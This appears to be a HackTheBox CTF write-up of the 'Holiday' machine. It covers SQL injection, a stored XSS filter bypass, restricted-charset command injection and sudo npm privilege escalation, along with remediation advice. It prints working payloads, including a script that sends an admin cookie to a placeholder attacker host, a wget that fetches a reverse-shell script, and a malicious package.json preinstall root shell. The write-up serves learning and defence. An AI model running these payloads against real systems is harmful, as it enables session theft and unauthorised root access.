Skip to content
Back to all posts

HTB: Holiday

· 20 min hard Linux Holiday

A Linux box combining SQL injection for credential extraction, stored XSS with aggressive filter bypass to steal an admin cookie, command injection through a character-restricted export endpoint, and sudo npm install for root.

Overview

Holiday is a hard-rated Linux machine running Ubuntu 16.04 with a Node.js web application. The attack chain requires four distinct exploitation phases: SQL injection on the login form to extract credentials, stored XSS via booking notes to steal an admin session cookie from a PhantomJS bot, command injection on an export endpoint with a severely restricted character set, and privilege escalation through sudo npm install with a malicious preinstall script.

This box is one of the more demanding machines on HackTheBox, not because any single vulnerability is complex, but because the combination of filter bypasses and character restrictions demands precise payloads. The command injection phase is particularly constrained: the character filter blocks hyphens, dots, colons, pipes, redirections, and most special characters, leaving the attacker with only lowercase alphanumerics, ampersands, spaces, and forward slashes.

Reconnaissance

nmap -sC -sV -oA scans/holiday 10.129.29.106
PortServiceProduct / VersionNotes
22SSHOpenSSH 7.2p2 UbuntuUbuntu 16.04
8000HTTPNode.jsBooking application

Two services. Port 8000 serves a Node.js web application. The nmap scan reveals that requests require a User-Agent containing “Linux” to receive valid responses; without it, the application returns empty responses.

Attack Surface Analysis

Login form: SQL injection

The /login endpoint is vulnerable to SQL injection. The application uses SQLite as its backend database. I run sqlmap with elevated detection sensitivity because the injection is not straightforward:

sqlmap -r sqlmap.req --level=5 --risk=3 --dump-all

The users table contains one entry:

idactiveusernamepassword
11RickAfdc8cd4cff2c19e0d1022e78481ddf36

The MD5 hash cracks to nevergonnagiveyouup. A Rick Astley reference in a CTF. Of course.

Booking notes: stored XSS target

After logging in as RickA, the application allows creating bookings with a notes field. These notes are reviewed by an admin bot (PhantomJS 2.1.1) approximately every 60 seconds. The admin’s session cookie is stored in a hidden form input (document.getElementsByName("cookie")[0].value) rather than as a standard HTTP cookie, which means the bot’s review process extracts the cookie from the DOM.

Vulnerability Analysis

The XSS filter on booking notes is aggressive but bypassable. Key behaviours:

  • <img> tags are whitelisted; quotes are stripped from the src attribute
  • Event handlers (onerror, onload) are stripped case-insensitively
  • Angle brackets within attribute values are entity-encoded
  • <script> tags are blocked

The bypass uses <img> tag injection with String.fromCharCode to avoid keyword filtering:

<img src="/><script>eval(String.fromCharCode(CODES))</script>" />

The fromCharCode payload decodes to JavaScript that loads an external script from the attacker’s HTTP server. That script reads the admin cookie from the DOM and exfiltrates it via an image request.

AttributeValue
CWECWE-79 (Stored Cross-Site Scripting)
CVSS 3.18.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)
Root causeIncomplete input sanitisation on booking notes
PrerequisiteAuthenticated user (RickA)

Exploitation

I set up an HTTP server to serve the XSS payload and capture the exfiltrated cookie. The JavaScript payload:

document.write('<script src="http://ATTACKER:9999/holiday.js"></script>');

The holiday.js file reads the cookie from the DOM and sends it to the attacker:

var cookie = document.getElementsByName("cookie")[0].value;
new Image().src = "http://ATTACKER:9999/steal?c=" + cookie;

Within 60 seconds, the PhantomJS bot reviews the booking note, executes the JavaScript, and sends the admin cookie to my listener.

Phase 2: command injection on export endpoint

The admin session unlocks the /admin/export endpoint. The table parameter injects into a shell command. The character filter is strict: only [a-z0-9&\s\/] characters are permitted. This blocks hyphens, dots, colons, pipes, redirections, backticks, and dollar signs.

I confirm execution:

/admin/export?table=bookings%26id
# uid=1001(algernon) gid=1001(algernon) groups=1001(algernon)

The command runs as user algernon. The character restriction prevents most standard approaches:

  • No colons: cannot specify alternative ports in wget/curl URLs
  • No redirections: cannot write output to files via >
  • No pipes: cannot chain commands with |
  • No hyphens: cannot use command flags (-e, -o, -c)
  • No dots: cannot reference files like user.txt or IP addresses

The intended path downloads a reverse shell script using wget to an HTTP server on port 80 (no colon needed for default port). The command:

bookings%26wget HEX_IP/shell

Where HEX_IP is the attacker IP in hexadecimal notation (avoiding dots). The downloaded script is then executed in a second injection.

Phase 3: privilege escalation via sudo npm install

With a shell as algernon:

sudo -l
# (ALL) NOPASSWD: /usr/bin/npm i *

The npm install command executes lifecycle scripts defined in package.json. A preinstall script runs before any packages are installed, as root (because sudo):

{
  "name": "root_please",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "/bin/bash"
  }
}
sudo npm i /path/to/package --unsafe

This drops into a root shell.

Post-Exploitation

The box runs a Node.js application as user algernon with a PhantomJS 2.1.1 headless browser for admin note review. PhantomJS 2.1.1 is based on an outdated WebKit engine with known vulnerabilities; in a production environment, this would be an additional attack vector for browser-based exploitation.

The sudo npm install configuration is the most critical finding from a defensive perspective. npm lifecycle scripts execute arbitrary code, and granting sudo access to npm i with a wildcard is functionally equivalent to unrestricted root access.

Defensive Analysis

PhaseMITRE ATT&CKDetection
Initial AccessT1190SQLi signatures in WAF; parameterised queries
ExecutionT1059.007XSS payload detection in stored content
Credential AccessT1539Cookie theft via XSS; HttpOnly flag would mitigate
ExecutionT1059.004Command injection in export; input validation
Privilege EscalationT1548.003sudo npm audit; lifecycle script monitoring

The XSS filter demonstrates why denylists fail. The developer blocked <script> tags, event handlers, and certain attribute patterns, but missed the combination of <img> tag injection with JavaScript string encoding. Content Security Policy (CSP) headers would have prevented the external script load regardless of the XSS payload structure.

Remediation

PriorityActionEffortImpact
P0Remove sudo npm install from algernon’s sudoersLowCritical
P0Fix SQL injection with parameterised queriesMediumCritical
P0Implement proper output encoding for stored contentMediumCritical
P1Deploy CSP headers to prevent external script loadingLowHigh
P1Set HttpOnly on session cookiesLowHigh
P1Allowlist table names in the export endpointLowHigh
P2Replace PhantomJS with a maintained headless browserMediumMedium
P2Restrict outbound connections with iptables egress rulesMediumMedium
P3Upgrade to a supported Ubuntu releaseHighMedium

The sudo npm configuration deserves emphasis. npm install is a code execution primitive; granting it sudo access is equivalent to granting unrestricted root. This pattern appears in production environments more often than it should, typically in CI/CD pipelines where developers add npm to sudoers “temporarily” to fix a permissions issue, then forget to remove it.

Key Takeaways

  1. Stored XSS against automated bots is a real attack pattern. The PhantomJS admin bot simulates a common scenario: automated systems that process user-submitted content. Ticketing systems, CMS moderation queues, and customer support platforms all present this attack surface. If the system processes HTML content in a browser context, stored XSS can steal session tokens.

  2. Character-restricted command injection requires creative encoding. When the character filter blocks most special characters, alternative representations (hexadecimal IPs, default ports, URL encoding) can reconstruct the needed functionality. The constraint on Holiday is severe enough that standard techniques all fail; the attacker must understand the underlying tools well enough to work within the restrictions.

  3. npm lifecycle scripts are code execution. Any npm command that processes a package.json file will execute lifecycle scripts (preinstall, postinstall, prepare). Granting sudo access to npm is granting sudo access to arbitrary code execution. The same applies to pip, gem, cargo, and every other package manager with lifecycle hooks.

  4. Defence-in-depth means each layer must be independently sufficient. The XSS filter, the command injection character filter, and the sudo restriction each had exploitable gaps. If any one of these controls had been implemented correctly, the attack chain would have broken.